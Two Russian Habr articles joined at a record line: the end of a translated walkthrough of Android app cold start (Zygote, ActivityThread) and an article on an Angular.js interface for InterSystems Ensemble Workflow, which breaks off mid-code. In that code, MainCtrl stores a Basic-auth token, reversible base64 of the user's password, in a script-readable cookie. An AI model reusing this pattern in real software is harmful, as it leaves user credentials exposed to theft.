TypedArray a = ctx.obtainStyledAttributes(R.styleable.Window);
int resId = a.getResourceId(
R.styleable.Window_windowSplashscreenContent,
0
);
a.recycle();
Drawable drawable = ctx.getDrawable(resId);
View v = new View(ctx);
v.setBackground(drawable);
win.setContentView(v);
}
}
```
Стартовое окно - это то, что видит пользователь во время запуска процесса приложения, ровно до тех пор, пока он не создаст свою activity и не отобразит свой первый кадр. То есть до тех пор, пока не будет завершен холодный запуск. Пользователь может любоваться стартовым окном достаточно долго, поэтому убедитесь, что оно выглядит очень хорошо .
Содержимое стартового окна загружается из графических ресурсов (drawables) [windowSplashscreenContent](https://developer.android.com/reference/android/R.attr#windowSplashscreenContent) и [windowBackground](https://developer.android.com/reference/android/R.attr#windowBackground) запущенного activity. Чтобы узнать об этом больше, почитайте статью [Android App Launching Made Gorgeous](https://cyrilmottier.com/2013/01/23/android-app-launching-made-gorgeous/).
Если пользователь возвращает activity с [экранного менеджера](https://developer.android.com/guide/components/activities/recents), а не посредством тапа по лаунчеру, процесс `system_server` вызывает [TaskSnapshotSurface.create()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/wm/TaskSnapshotSurface.java;l=137;drc=69e700c7922c34583bddbab4b7ce78adadb90730), который создает стартовое окно из ранее сохраненного снапшота этого activity.
Как только стартовое окно отображено, процесс `system_server` готов к запуску процесса приложения, для чего он вызывает [ZygoteProcess.startViaZygote()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/os/ZygoteProcess.java;l=605;drc=69e700c7922c34583bddbab4b7ce78adadb90730):
```
public class ZygoteProcess {
private Process.ProcessStartResult startViaZygote(...) {
ArrayList argsForZygote = new ArrayList<>();
argsForZygote.add("--runtime-args");
argsForZygote.add("--setuid=" + uid);
argsForZygote.add("--setgid=" + gid);
argsForZygote.add("--runtime-flags=" + runtimeFlags);
...
return zygoteSendArgsAndGetResult(openZygoteSocketIfNeeded(abi),
zygotePolicyFlags,
argsForZygote);
}
}
```
[ZygoteProcess.zygoteSendArgsAndGetResult()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/os/ZygoteProcess.java;l=405;drc=69e700c7922c34583bddbab4b7ce78adadb90730) отправляет процессу Zygote аргументы для запуска через сокет.
Форкаемся от Zygote
-------------------
Согласно документации Android по [управлению памятью](https://developer.android.com/topic/performance/memory-overview#SharingRAM):
> *Процесс каждого приложения является* [*форком*](https://en.wikipedia.org/wiki/Fork_(system_call)) *уже существующего процесса под названием Zygote. Процесс Zygote запускается на старте системы, когда загружает общий системный код и ресурсы (например, темы* activity*). Чтобы запустить процесс нового приложения, система форкает этот процесс от Zygote, а затем загружает и запускает в нем код этого приложения. Такой подход позволяет использовать большую часть страниц RAM, выделенных под системный код и ресурсы, сразу всем процессам приложений.*
>
>
Во время загрузки системы запускается процесс Zygote и вызывается [ZygoteInit.main()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/com/android/internal/os/ZygoteInit.java;l=915;drc=69e700c7922c34583bddbab4b7ce78adadb90730):
```
public class ZygoteInit {
public static void main(String argv[]) {
...
if (!enableLazyPreload) {
preload(bootTimingsTraceLog);
}
// The select loop returns early in the child process after
// a fork and loops forever in the zygote.
caller = zygoteServer.runSelectLoop(abiList);
// We're in the child process and have exited the
// select loop. Proceed to execute the command.
if (caller != null) {
caller.run();
}
}
static void preload(TimingsTraceLog bootTimingsTraceLog) {
preloadClasses();
cacheNonBootClasspathClassLoaders();
preloadResources();
nativePreloadAppProcessHALs();
maybePreloadGraphicsDriver();
preloadSharedLibraries();
preloadTextResources();
WebViewFactory.prepareWebViewInZygote();
warmUpJcaProviders();
}
}
```
Как видите, [ZygoteInit.main()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/com/android/internal/os/ZygoteInit.java;l=915;drc=69e700c7922c34583bddbab4b7ce78adadb90730) выполняет 2 важные функции:
* Он предзагружает системные классы и ресурсы Android, общие библиотеки, графические драйверы и т. д. Эта предзагрузка не только экономит память, но и сокращает время запуска.
* Затем он вызывает [ZygoteServer.runSelectLoop()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/com/android/internal/os/ZygoteServer.java;l=424;drc=69e700c7922c34583bddbab4b7ce78adadb90730), который открывает сокет и ждет.
Когда по этому сокету получена команда к форку, [ZygoteConnection.processOneCommand()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/com/android/internal/os/ZygoteConnection.java;l=121;drc=69e700c7922c34583bddbab4b7ce78adadb90730) парсит аргументы с помощью [ZygoteArguments.parseArgs()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/com/android/internal/os/ZygoteArguments.java;drc=69e700c7922c34583bddbab4b7ce78adadb90730;l=239) и вызывает [Zygote.forkAndSpecialize()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/com/android/internal/os/Zygote.java;l=285;drc=69e700c7922c34583bddbab4b7ce78adadb90730):
```
public final class Zygote {
public static int forkAndSpecialize(...) {
ZygoteHooks.preFork();
int pid = nativeForkAndSpecialize(...);
// Set the Java Language thread priority to the default value.
Thread.currentThread().setPriority(Thread.NORM_PRIORITY);
ZygoteHooks.postForkCommon();
return pid;
}
}
```
Примечание: В Android 10 добавлена поддержка оптимизации под названием Unspecialized App Process ([USAP](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/os/ZygoteProcess.java;l=87;drc=69e700c7922c34583bddbab4b7ce78adadb90730)), пула форков Zygote, ожидающих своей специализации. Запуск стал чуть быстрее за счет дополнительного потребленя памяти (по умолчанию эта фича отключена). Android 11 поставляется с [IORap](https://medium.com/androiddevelopers/improving-app-startup-with-i-o-prefetching-62fbdb9c9020),что дает гораздо лучшие результаты.
Рождение приложения
-------------------
После форка дочерней процесс приложения запускает [RuntimeInit.commonInit()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/com/android/internal/os/RuntimeInit.java;l=251;drc=69e700c7922c34583bddbab4b7ce78adadb90730), который устанавливает [дефолтный UncaughtExceptionHandler](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/com/android/internal/os/RuntimeInit.java;l=260;drc=69e700c7922c34583bddbab4b7ce78adadb90730). Затем процесс приложения запускает [ActivityThread.main()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/app/ActivityThread.java;l=7350;drc=d9b11b058c6a50fa25b75d6534a2deaf0e62d4b3):
```
public final class ActivityThread {
public static void main(String[] args) {
Looper.prepareMainLooper();
ActivityThread thread = new ActivityThread();
thread.attach(false, startSeq);
Looper.loop();
}
final ApplicationThread mAppThread = new ApplicationThread();
private void attach(boolean system, long startSeq) {
if (!system) {
IActivityManager mgr = ActivityManager.getService();
mgr.attachApplication(mAppThread, startSeq);
}
}
}
```
Здесь есть два интересных момента:
* [ActivityThread.main()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/app/ActivityThread.java;l=7350;drc=d9b11b058c6a50fa25b75d6534a2deaf0e62d4b3) вызывает [Looper.loop()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/os/Looper.java;l=153;drc=bc3d8b9071d4f0b2903d6836770d974e70366290), который повторяется бесконечно, ожидая поступления новых сообщений в его [MessageQueue](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/os/MessageQueue.java;l=41;drc=69e700c7922c34583bddbab4b7ce78adadb90730).
* [ActivityThread.attach()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/app/ActivityThread.java;l=7111;drc=69e700c7922c34583bddbab4b7ce78adadb90730) совершает IPC-вызов [ActivityManagerService.attachApplication()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/am/ActivityManagerService.java;l=5213;drc=69e700c7922c34583bddbab4b7ce78adadb90730) процесса system\_server, чтобы сообщить ему, что основной поток (main thread) приложения готов к работе 🚀.
Манипуляции с приложением
-------------------------
В процессе system\_server, [ActivityManagerService.attachApplication()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/am/ActivityManagerService.java;l=5213;drc=69e700c7922c34583bddbab4b7ce78adadb90730) вызывает [ActivityManagerService.attachApplicationLocked()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/am/ActivityManagerService.java;l=4791;drc=69e700c7922c34583bddbab4b7ce78adadb90730;bpv=0;bpt=1), который завершает настройку приложения:
```
public class ActivityManagerService extends IActivityManager.Stub {
private boolean attachApplicationLocked(
IApplicationThread thread, int pid, int callingUid,
long startSeq) {
thread.bindApplication(...);
// See if the top visible activity is waiting to run
// in this process...
mAtmInternal.attachApplication(...);
// Find any services that should be running in this process...
mServices.attachApplicationLocked(app, processName);
// Check if a next-broadcast receiver is in this process...
if (isPendingBroadcastProcessLocked(pid)) {
sendPendingBroadcastsLocked(app);
}
return true;
}
}
```
Несколько ключевых моментов:
* Процесс `system_server` совершает IPC-вызов к [ActivityThread.bindApplication()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/app/ActivityThread.java;l=1005;drc=69e700c7922c34583bddbab4b7ce78adadb90730) процесса приложения, который планирует вызов [ActivityThread.handleBindApplication()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/app/ActivityThread.java;l=6162;drc=69e700c7922c34583bddbab4b7ce78adadb90730) основного потока приложения.
* Сразу после этого процесс `system_server` планирует запуск любой ожидающей activity, службы и широковещательного приемника (broadcast receiver).
* [ActivityThread.handleBindApplication()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/app/ActivityThread.java;l=6162;drc=69e700c7922c34583bddbab4b7ce78adadb90730) загружает APK и компоненты приложения в следующем порядке:
+ Загружает подкласс приложения [AppComponentFactory](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/app/AppComponentFactory.java;l=35;drc=69e700c7922c34583bddbab4b7ce78adadb90730) и создает инстанс.
+ Вызывает [AppComponentFactory.instantiateClassLoader()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/app/AppComponentFactory.java;l=56;drc=69e700c7922c34583bddbab4b7ce78adadb90730).
+ Вызывает [AppComponentFactory.instantiateApplication()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/app/AppComponentFactory.java;l=73;drc=69e700c7922c34583bddbab4b7ce78adadb90730), чтобы загрузить подкласс приложения [Application](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/app/Application.java;drc=69e700c7922c34583bddbab4b7ce78adadb90730;l=52) и создать инстанс.
+ Для каждого объявленного [ContentProvider](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/content/ContentProvider.java;drc=69e700c7922c34583bddbab4b7ce78adadb90730;l=108) в [порядке приоритета](https://developer.android.com/guide/topics/manifest/provider-element.html#init) вызывает [AppComponentFactory.instantiateProvider(),](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/app/AppComponentFactory.java;l=144;drc=69e700c7922c34583bddbab4b7ce78adadb90730) чтобы загрузить его класс и создать инстанс, затем вызывает [ContentProvider.onCreate()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/content/ContentProvider.java;l=1048;drc=69e700c7922c34583bddbab4b7ce78adadb90730).
+ Вызывает [Application.onCreate()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/app/Application.java;l=247;drc=69e700c7922c34583bddbab4b7ce78adadb90730).
* Разработчики приложений практически не могут повлиять на время, затрачиваемое перед [ActivityThread.handleBindApplication()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/app/ActivityThread.java;l=6162;drc=69e700c7922c34583bddbab4b7ce78adadb90730), поэтому именно с этого места следует начинать мониторинг холодного запуска приложения.
Ранняя инициализация
--------------------
Если вам нужно запустить код как можно раньше, у вас есть несколько вариантов:
* Самый ранний вариант - это когда загружается класс [AppComponentFactory](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/app/AppComponentFactory.java;drc=69e700c7922c34583bddbab4b7ce78adadb90730;bpv=1;bpt=1;l=35).
+ Добавьте [атрибут appComponentFactory](https://developer.android.com/reference/android/R.styleable#AndroidManifestApplication_appComponentFactory) к тегу приложения в `AndroidManifest.xml`.
+ Если вы используете AndroidX, вам необходимо добавить `tools:replace="android:appComponentFactory"` и делегировать вызовы в [AndroidX AppComponentFactory.](https://cs.android.com/androidx/platform/frameworks/support/+/androidx-master-dev:core/core/src/main/java/androidx/core/app/AppComponentFactory.java;l=40;drc=229b5b258af6aa8071ef5aeb805669a376223730)
+ Вы можете добавить туда статический инициализатор и выполнять такие действия, как сохранение таймстемпов.
+ Недостатки: это доступно только в Android P+, и у вас не будет доступа к контексту.
* Безопасный ранний вариант для разработчиков приложений - [Application.onCreate()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/app/Application.java;l=247;drc=69e700c7922c34583bddbab4b7ce78adadb90730).
* Надежный ранний вариант для разработчиков библиотек - [ContentProvider.onCreate()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/content/ContentProvider.java;l=1048;drc=69e700c7922c34583bddbab4b7ce78adadb90730). Этот трюк популяризировал Дуг Стивенсон (Doug Stevenson) в своей [книге “Как инициализируется Firebase на Android?”](https://firebase.googleblog.com/2016/12/how-does-firebase-initialize-on-android.html)
* Есть новая AndroidX [App Startup library](https://developer.android.com/topic/libraries/app-startup), основанная на том же приеме с провайдером. Цель состоит в том, чтобы объявить только один провайдер вместо нескольких, потому что каждый объявленный провайдер замедляет запуск приложения на несколько миллисекунд и увеличивает размер объекта ApplicationInfo из диспетчера пакетов.
Заключение
----------
Мы начали с высокого уровня понимания того, как начинается холодный запуск:
Теперь мы точно представляем, что происходит:
Пользовательский опыт запуска activity начинается, когда пользователь касается экрана, однако разработчики приложений мало влияют на время до `ActivityThread.handleBindApplication()`, так что именно здесь должен начинаться мониторинг холодного запуска приложения.
Эта статья получилась достаточно длинной, а мы еще далеки от завершения холодного старта. Следите за обновлениями!
---
> Перевод статьи подготовлен в преддверии старта курса [Android Developer. Professional](https://otus.pw/Kzzc/).
>
>
* [Узнать подробнее о курсе](https://otus.pw/Kzzc/) | https://habr.com/ru/post/597267/ | null | ru | null |
# UI для Ensemble Workflow на Angular
Те, кто знаком с платформой для интеграции и разработки приложений InterSystems Ensemble, знают, что такое подсистема Ensemble Workflow и как она бывает полезна для автоматизации взаимодействия людей. Для тех же, кто не знаком с Ensemble (и/или Workflow), я кратко опишу её возможности (остальные могут пропустить эту часть и узнать, как они могут использовать пользовательский интерфейс Workflow на Angular.js).
##### **InterSystems Ensemble**
Платформа для интеграции и разработки приложений InterSystems Ensemble предназначена для интеграции разрозненных систем, автоматизации бизнес-процессов и создания новых композитных приложений, дополняющих функционал интегрированных приложений новой бизнес-логикой или пользовательским интерфейсом. Ensemble обеспечивает решение задач: EAI, SOA, BPM, BAM и даже BI (за счет встроенной технологии для разработки аналитических приложений InterSystems DeepSee).
В Ensemble существуют следующие основные компоненты:
* **Адаптеры** – компоненты для взаимодействия с приложениями, технологиями и источниками данных. Вместе с Ensemble поставляются технологические и прикладные интеграционные адаптеры (Web- и Rest- сервисы, File, FTP, Email, SQL, EDI, HL7, SAP, Siebel, 1C Предприятие и т.д.). Можно создавать собственные адаптеры с помощью Adapter SDK.
* **Бизнес-службы** – компоненты, преобразующие данные, поступающие от внешних систем, в сообщения Ensemble, и вызывающие на исполнение бизнес-процессы и/или бизнес-операции.
* **Бизнес-процессы** – исполняемые процессы, использующиеся для оркестровки служб и операций для автоматизации сценариев взаимодействия систем и/или людей (через подсистему Workflow). Процессы либо описываются на декларативном языке Business Process Language, либо реализуются на Caché Object Script. Логика взаимодействия процессов с внешним миром отделена от конкретной реализации взаимодействия с помощью служб и операций.
* **Бизнес-операции** – компоненты, обеспечивающие вызов/передачу сообщений внешним системам и преобразование сообщений Ensemble в формат, пригодный для передачи во внешние системы.
* **Трансформации сообщений** – компоненты Ensemble для трансформации сообщений из одного формата в другой. Для реализации используется декларативный язык Data Transformation Language.
* **Бизнес-правила** – позволяют администраторам интеграционного решения без программирования менять поведение бизнес-процессов Ensemble в указанных в процессах точках принятия решений.
* **Управление потоками работ** – подсистема Ensemble Workflow обеспечивает автоматизацию распределения задач между пользователями.
* **Бизнес-метрики** – позволяют собирать и вычислять ключевые показатели эффективности и вместе с инструментальными панелями (Dashboards) используются для создания решений по мониторингу бизнес-активности (Business Activity Monitoring, BAM).
Вернемся к управлению потоками работ и рассмотрим функционал подсистемы Ensemble Workflow более подробно.
##### **Управление потоками работ и подсистема Ensemble Workflow**
Согласно определению Workflow Management Coalition (www.WfMC.org), “потоки работ (Workflow) — это автоматизация бизнес процесса, полностью или частично, в рамках которого документы, информация или задачи передаются от одного участника к другому, в соответствии с набором процедурных правил.”
Ключевые элементы Workflow:
* Задача Workflow — «фрагмент» работы
* Поток работ — процедурные правила выполнения задач
* Пользователь Workflow — человек, выполняющий задачи в системе управления потоками работ
* Роль Workflow — группа пользователей, которые выполняют определенные типы задач.
Подсистема управления потоками работ в Ensemble позволяет:
* Автоматизировать управление потоками работ, используя бизнес-процессы Ensemble
* Гибко настраивать распределение работ
* Работать с подсистемой управления потоками работ через специализированный Workflow-портал, который поставляется вместе с Ensemble
* Организовать взаимодействие подсистемы управления потоками работ с интеграционными бизнес-процессами Ensemble
* Использовать подсистему мониторинга бизнес-активности, утилиты управления и мониторинга Ensemble
* Легко настраивать и расширять функционал подсистемы Workflow
Простейшим примером автоматизации управления потоками работ является приложение Ensemble HelpDesk для автоматизации взаимодействия сотрудников службы поддержки, которое входит в стандартную поставку примеров Ensemble и находится в области Ensdemo. Ensemble принимает сообщение о проблеме и запускает бизнес-процесс HelpDesk.
*Фрагмент алгоритма бизнес-процесса HelpDesk*
Бизнес-процесс отправляет пользователям роли Demo-Development задачу с помощью сообщения класса EnsLib.Workflow.TaskRequest, в котором определены возможные действия (“Исправлено” или “Проигнорировано”), а также поле “Комментарий”. В тело сообщения также включена информация об ошибке и пользователе, сообщившем о проблеме. После этого в Workflow-портале любого пользователя роли Demo-Development появляется соответствующая задача.
Первоначально (если это не задано в сообщении TaskRequest) задача не ассоциирована ни с одним пользователем (а только с ролью), поэтому пользователю нужно ее принять, нажав соответствующую кнопку. Также в любой момент можно отказаться от задачи, нажав кнопку “Уступить”.
После этого можно совершать доступные для конкретной задачи действия. В нашем случае мы можем нажать кнопку “Исправлено”, предварительно указав комментарий в соответствующем поле. Бизнес-процесс HelpDesk обработает это событие и отправит новое сообщение пользователям роли Demo-Testing, сигнализируя о необходимости тестирования произведенных исправлений. Если нажать кнопку “Проигнорировано”, то задача будет просто помечена как “Not a problem” и процесс обработки завершится.
Как видно из примера, Ensemble Workflow является простой и интуитивно понятной системой для организации потоков работ пользователей. Более подробную информацию о подсистеме Ensemble Workflow можно в документации Ensemble в разделе [Defining Workflow](http://docs.intersystems.com/ensemble_latest/csp/docbook/DocBook.UI.Page.cls?KEY=EGWF).
Функциональность подсистемы Ensemble Workflow может быть легко расширена и встроена во внешнее композитное приложение на InterSystems Ensemble. В качестве примера рассмотрим реализацию функциональности пользовательского интерфейса Ensemble Workflow во внешнем композитном приложении, разработанном на Angular.js + REST API.
##### **Интерфейс Ensemble Workflow на Angular.js.**
Для работы пользовательского интерфейса Workflow на Angular.js необходимо установить на сервер Ensemble приложения:
* [UI на Angular.js](https://github.com/intersystems-ru/EnsembleWorkflowUI)
* [REST API](https://github.com/intersystems-ru/EnsembleWorkflow)
Процесс установки описан в Readme указанных репозиториев.
На данный момент в приложении реализована вся базовая функциональность Ensemble Workflow: отображение списка задач, дополнительных полей и действий, сортировка, полнотекстовый поиск по задачам. Пользователь может принимать/отклонять задачи, подробная информация о задаче выводится в модальном окне.
Также в ближайшее время в планах добавить в приложение возможность смены области (на данный момент приложение работает только в той области, в которой оно установлено).
На момент написания статьи приложение выглядит следующим образом:
*Для последующей модификации интерфейса при необходимости, был использован Twitter Bootstrap*
##### **Некоторые технические детали реализации**
В UI используются следующие библиотеки и фреймворки: js-фреймворк Angular.js, css-фреймворк Twitter Bootstrap, js-библиотека jQuery, а также иконочные шрифты FontAwesome.
Приложение имеет 4 Angular-сервиса (RESTSrvc, SessionSrvc, UtilSrvc и WorklistSrvc), 3 контроллера (MainCtrl, TaskCtrl, TasksGridCtrl), главную страницу (index.csp) и 2 шаблона (task.csp и tasks.csp).
Сервис *RESTSrvc* имеет всего один метод getPromise и является оберткой вокруг сервиса $http Angular.js. Единственное предназначение RESTSrvc — отправлять HTTP-запросы на сервер и возвращать объекты promise этих запросов. Остальные сервисы используют RESTSrvc для осуществления запросов и их разделение носит, по существу, функциональный характер.
**RESTSrvc.js**
```
'use strict';
function RESTSrvc($http, $q) {
return {
getPromise:
function(config) {
var deferred = $q.defer();
$http(config).
success(function(data, status, headers, config) {
deferred.resolve(data);
}).
error(function(data, status, headers, config) {
deferred.reject(data, status, headers, config);
});
return deferred.promise;
}
}
};
// resolving minification problems
RESTSrvc.$inject = ['$http', '$q'];
servicesModule.factory('RESTSrvc', RESTSrvc);
```
*SessionSrvc* — содержит всего один метод, отвечающий за закрытие сессии. Аутентификация в приложении выполнена с помощью Basic access authetication (http://en.wikipedia.org/wiki/Basic\_access\_authentication), поэтому нет необходимости в аутентифицирующем методе, так как каждый запрос имеет в header’е токен авторизации.
**SessionSrvc.js**
```
'use strict';
// Session service
function SessionSrvc(RESTSrvc) {
return {
// save worklist object
logout:
function(baseAuthToken) {
return RESTSrvc.getPromise( {method: 'GET', url: RESTWebApp.appName + '/logout',
headers: {'Authorization' : baseAuthToken} });
}
}
};
// resolving minification problems
SessionSrvc.$inject = ['RESTSrvc'];
servicesModule.factory('SessionSrvc', SessionSrvc);
```
*UtilSrvc* — содержит вспомогательные методы, такие как получение значения cookie по имени, получение значения свойства объекта по имени.
**UtilSrvc.js**
```
'use strict';
// Utils service
function UtilSrvc($cookies) {
return {
// get cookie by name
readCookie:
function(name) {
return $cookies[name];
},
// Function to get value of property of the object by name
// Example:
// var obj = {car: {body: {company: {name: 'Mazda'}}}};
// getPropertyValue(obj, 'car.body.company.name')
getPropertyValue:
function(item, propertyStr) {
var value = item;
try {
var properties = propertyStr.split('.');
for (var i = 0; i < properties.length; i++) {
value = value[properties[i]];
if (value !== Object(value))
break;
}
}
catch(ex) {
console.log('Something goes wrong :/');
}
return value == undefined ? '' : value;
}
}
};
// resolving minification problems
UtilSrvc.$inject = ['$cookies'];
servicesModule.factory('UtilSrvc', UtilSrvc);
```
*WorklistSrvc* отвечает за выполнение запросов, связанных с данными списка задач.
**WorklistSrvc.js**
```
'use strict';
// Worklist service
function WorklistSrvc(RESTSrvc) {
return {
// save worklist object
save:
function(worklist, baseAuthToken) {
return RESTSrvc.getPromise( {method: 'POST', url: RESTWebApp.appName + '/tasks/' + worklist._id, data: worklist,
headers: {'Authorization' : baseAuthToken} });
},
// get worklist by id
get:
function(id, baseAuthToken) {
return RESTSrvc.getPromise( {method: 'GET', url: RESTWebApp.appName + '/tasks/' + id,headers: {'Authorization' : baseAuthToken} });
},
// get all worklists for current user
getAll:
function(baseAuthToken) {
return RESTSrvc.getPromise( {method: 'GET', url: RESTWebApp.appName + '/tasks', headers: {'Authorization' : baseAuthToken} });
}
}
};
// resolving minification problems
WorklistSrvc.$inject = ['RESTSrvc'];
servicesModule.factory('WorklistSrvc', WorklistSrvc);
```
*MainCtrl* — главный контроллер приложения, отвечает за аутентификацию пользователя.
**MainCtrl.js**
```
'use strict';
// Main controller
// Controls the authentication. Loads all the worklists for user.
function MainCtrl($scope, $location, $cookies, WorklistSrvc, SessionSrvc, UtilSrvc) {
$scope.page = {};
$scope.page.alerts = [];
$scope.utils = UtilSrvc;
$scope.page.loading = false;
$scope.page.loginState = $cookies['Token'] ? 1 : 0;
$scope.page.authToken = $cookies['Token'];
$scope.page.closeAlert = function(index) {
if ($scope.page.alerts.length) {
$('.alert:nth-child('+(index+1)+')').animate({opacity: 0, top: "-=150" }, 400, function() {
$scope.page.alerts.splice(index, 1); $scope.$apply();
});
}
};
$scope.page.addAlert = function(alert) {
$scope.page.alerts.push(alert);
if ($scope.page.alerts.length > 5) {
$scope.page.closeAlert(0);
}
};
/* Authentication section */
$scope.page.makeBaseAuth = function(user, password) {
var token = user + ':' + password;
var hash = Base64.encode(token);
return "Basic " + hash;
}
// login
$scope.page.doLogin = function(login, password) {
var authToken = $scope.page.makeBaseAuth(login, password);
$scope.page.loading = true;
WorklistSrvc.getAll(authToken).then(
function(data) {
$scope.page.alerts = [];
$scope.page.loginState = 1;
$scope.page.authToken = authToken;
// set cookie to restore loginState after page reload
$cookies['User'] = login.toLowerCase();
$cookies['Token'] = $scope.page.authToken;
// refresh the data on page
$scope.page.loadSuccess(data);
},
function(data, status, headers, config) {
if (data.Error) {
$scope.page.addAlert( {type: 'danger', msg: data.Error} );
}
else {
$scope.page.addAlert( {type: 'danger', msg: "Login unsuccessful"} );
}
})
.then(function () { $scope.page.loading = false; })
};
// logout
$scope.page.doExit = function() {
SessionSrvc.logout($scope.page.authToken).then(
function(data) {
$scope.page.loginState = 0;
$scope.page.grid.items = null;
$scope.page.loading = false;
// clear cookies
delete $cookies['User'];
delete $cookies['Token'];
document.cookie = "CacheBrowserId" + "=; Path=/; expires=Thu, 01 Jan 1970 00:00:01 GMT;";
document.cookie = "CSPSESSIONID" + "=; Path=" + RESTWebApp.appName + "; expires=Thu, 01 Jan 1970 00:00:01 GMT;";
document.cookie = "CSPWSERVERID" + "=; Path=" + RESTWebApp.appName + "; expires=Thu, 01 Jan 1970 00:00:01 GMT;";
},
function(data, status, headers, config) {
$scope.page.addAlert( {type: 'danger', msg: data.Error} );
});
};
}
// resolving minification problems
MainCtrl.$inject = ['$scope', '$location', '$cookies', 'WorklistSrvc', 'SessionSrvc', 'UtilSrvc'];
controllersModule.controller('MainCtrl', MainCtrl);
```
*TasksGridCtrl* — контроллер, отвечающий за таблицу списка задач и действия с ней. Он инициализирует таблицу списка задач, содержит методы для загрузки списка задач и конкретной задачи, а также методы обработки действий пользователя (нажатие кнопок, сортировка таблицы, выделение строки таблицы, фильтрация).
**TasksGridCtrl.js**
```
'use strict';
// TasksGrid controller
// dependency injection
function TasksGridCtrl($scope, $window, $modal, $cookies, WorklistSrvc) {
// Initialize grid.
// grid data:
// grid title, css grid class, column names
$scope.page.grid = {
caption: 'Inbox Tasks',
cssClass:'table table-condensed table-bordered table-hover',
columns: [{name: '', property: 'New', align: 'center'},
{name: 'Priority', property: 'Priority'},
{name: 'Subject', property: 'Subject'},
{name: 'Message', property: 'Message'},
{name: 'Role', property: 'RoleName'},
{name: 'Assigned To', property: 'AssignedTo'},
{name: 'Time Created', property: 'TimeCreated'},
{name: 'Age', property: 'Age'}]
};
// data initialization for Worklist
$scope.page.dataInit = function() {
if ($scope.page.loginState) {
$scope.page.loadTasks();
}
};
$scope.page.loadSuccess = function(data) {
$scope.page.grid.items = data.children;
// if we get data for other user - logout
if (!$scope.page.checkUserValidity()) {
$scope.page.doExit();
}
var date = new Date();
var hours = (date.getHours() > 9) ? date.getHours() : '0' + date.getHours();
var minutes = (date.getMinutes() > 9) ? date.getMinutes() : '0' + date.getMinutes();
var secs = (date.getSeconds() > 9) ? date.getSeconds() : '0' + date.getSeconds();
$('#updateTime').animate({ opacity : 0 }, 100, function() { $('#updateTime').animate({ opacity : 1 }, 1000);} );
$scope.page.grid.updateTime = ' [Last Update: ' + hours;
$scope.page.grid.updateTime += ':' + minutes + ':' + secs + ']';
};
// all user's tasks loading
$scope.page.loadTasks = function() {
$scope.page.loading = true;
WorklistSrvc.getAll($scope.page.authToken).then(
function(data) {
$scope.page.loadSuccess(data);
},
function(data, status, headers, config) {
$scope.page.addAlert( {type: 'danger', msg: data.Error} );
})
.then(function () { $scope.page.loading = false; })
};
// load task (worklist) by id
$scope.page.loadTask = function(id) {
WorklistSrvc.get(id, $scope.page.authToken).then(
function(data) {
$scope.page.task = data;
},
function(data, status, headers, config) {
$scope.page.addAlert( {type: 'danger', msg: data.Error} );
});
};
// 'Accept' button handler.
// Send worklist object with '$Accept' action to server.
$scope.page.accept = function(id) {
// nothing to do, if no id
if (!id) return;
// get full worklist, set action and submit worklist.
WorklistSrvc.get(id).then(
function(data) {
data.Task["%Action"] = "$Accept";
$scope.page.submit(data);
},
function(data, status, headers, config) {
$scope.page.addAlert( {type: 'danger', msg: data.Error} );
});
};
// 'Yield' button handler.
// Send worklist object with '$Relinquish' action to server.
$scope.page.yield = function(id) {
// nothing to do, if no id
if (!id) return;
// get full worklist, set action and submit worklist.
WorklistSrvc.get(id).then(
function(data) {
data.Task["%Action"] = "$Relinquish";
$scope.page.submit(data);
},
function(data, status, headers, config) {
$scope.page.addAlert( {type: 'danger', msg: data.Error} );
});
};
// submit the worklist object
$scope.page.submit = function(worklist) {
// send object to server. If ok, refresh data on page.
WorklistSrvc.save(worklist, $scope.page.authToken).then(
function(data) {
$scope.page.dataInit();
},
function(data, status, headers, config) {
$scope.page.addAlert( {type: 'danger', msg: data.Error} );
}
);
};
/* table section */
// sorting table
$scope.page.sort = function(property, isUp) {
$scope.page.predicate = property;
$scope.page.isUp = !isUp;
// change sorting icon
$scope.page.sortIcon = 'fa fa-sort-' + ($scope.page.isUp ? 'up':'down') + ' pull-right';
};
// selecting row in table
$scope.page.select = function(item) {
if ($scope.page.grid.selected) {
$scope.page.grid.selected.rowCss = '';
if ($scope.page.grid.selected == item) {
$scope.page.grid.selected = null;
return;
}
}
$scope.page.grid.selected = item;
// change css class to highlight the row
$scope.page.grid.selected.rowCss = 'info';
};
// count currently displayed tasks
$scope.page.totalCnt = function() {
